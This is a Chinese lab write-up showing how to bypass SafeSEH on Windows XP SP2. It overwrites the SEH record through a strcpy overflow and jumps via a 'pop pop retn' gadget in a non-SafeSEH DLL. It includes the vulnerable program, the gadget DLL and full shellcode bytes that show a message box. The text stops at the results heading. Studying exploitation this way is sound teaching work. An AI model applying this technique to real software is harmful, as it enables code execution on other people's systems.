目录
一、实验原理
模块未启用SafeSEH,并且该模块不是仅包含中间语言(IL),这个异常处理就可以执行、
二、实验环境
操作系统:windows xp sp2
软件版本:exe编译器:VS2008
dll编译器:VC++6.0(将dll基址设置为0x11120000)
原版OD
三、实验代码
dll代码:
#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
return TRUE;
}
void jump()
{
__asm{
pop eax
pop eax
retn
}
}
exe代码:
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
char str[200];
__asm int 3
test(shellcode);
return 0;
}
实验思路和代码简要解释:
(1)用VC++6.0编译一个不使用SafeSEH的动态链接库SEH_NOSafeSEH_JUMP.DLL,然后由启用SafeSEH的应用程序SEH_NOSafeSEH.EXE去加载它;
(2)SEH_NOSafeSEH.EXE中的test函数存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖程序的S.E.H信息;
(3)使用SEH_NOSafeSEH_JUMP.DLL中的“pop pop retn”指令地址覆盖异常处理函数地址,然后通过制造除零异常,将程序转入异常处理。通过劫持异常处理流程,程序转入SEH_NOSafe_JUMP.DLL中执行“pop pop retn”指令,在执行retn后程序转入shellcode执行。
四、实验步骤
1、生成SEH_NOSafeSEH_JUMP.DLL
建立一个win32的动态链接库。
由于VC++6.0编译的DLL默认加载基址未0x10000000,如果以它作为DLL的加载地址,DLL中的“pop pop retn”指令地址中可能包含0x00,这会在进行strcpy时将字符截断复制到shellcode中,从而影响shellcode的执行。
解释:
因为要将pop pop retn的起始地址写入shellcode中,以便之后跳转到shellcode,因此需要避免pop pop retn的地址出现00.
怎么改加载基址?
在顶部菜单中选择“工程-设置”,然后切换到“连接”选项卡,在“工程选项”的输入框中添加“、base:"0x1112000"<空格>”。
将编译好的dll动态链接库,复制到SEH_NOSafeSEH.EXE目录下即可。
2、寻找跳板
首先仍然将shellcode用\x90来填充,编译,查看SafeSEH的启用情况:
可以看到除了我们制作的DLL没有启用SafeSEH,其他的都启用了。
注:
使用的是od的safeSEH插件,OllySSEH对safeSEH的描述有四种:
(1)/SafeSEH OFF,未启用SafeSEH,这种模块可以作为跳板;
(2)/SafeSEH ON,启用SafeSEH,可以使用右键点击查看S.E.H注册情况;
(3)No SEH,不支持SafeSEH,即IMAGE_DLLCHARACTERISTICS_NO_SET标志位被设置,模块内的异常会被忽略,所以不能作为跳板;
(4)Error,读取错误。
在内存映射中,找到SEH_NOSafeSEH_JUMP.DLL的代码区,然后找到“pop pop retn”。
3、构造shellcode
找到跳板后,开始计算被溢出字符串到最近的异常处理函数指针的距离,程序执行完strcpy,查看栈区情况:
可以看到要布置的shellcode的起始地址未0x0012FDB8.
查看第一个异常处理函数指针位置:
可见,第一个异常处理函数指针位于0x0012FFB0+4处。
另外,这次使用的是“pop pop retn”指令序列,所以我们需要将弹出的“failwest“对话框的机器码放到shellcode的后半部分。
在布置shellcode之前,需要注意到一个小细节:经过VS2008编译的程序,会在进入__try{}的函数时在security cookie+4的位置压入-2(VC++6.0下为-1),在程序进入__try{}区域时会根据改__try{}块在函数中的位置而形成不同的值。例如,函数中有两个__try{}块,在进入第一个__try{}块时,这个值会被修改为0,进入第二个的时候被修改为1。如果在__try{}块中出现了异常,程序会根据这个值调用相应的__except()处理,处理结束后这个位置的值会重新修改为-2;如果没有发生异常,程序在离开__try{}块时这个值也会被修改回-2。
为避免shellcode关键部分被破坏,采用以下布局:shellcode最开始部分为220个字节的0x90填充;在221~224位置用SEH_NOSafeSEH_JUMP.DLL中的跳板地址0x11121012覆盖,然后跟着8字节的0x90填充;最后附上弹出"failwest"对话框的机器码。
布置完shellcode之后,编译,在0x0012FE90处下一个断点,不出意外,程序会直接执行到这里。
从图中可以看到,在构造的shellcode中出现了不和谐的东西,分别是dll中的跳板地址和进入try时被破坏的部分,因为这两个不和谐的东西并不影响程序的执行,因此这一节不对齐进行处理。
直接继续允许,实验结果: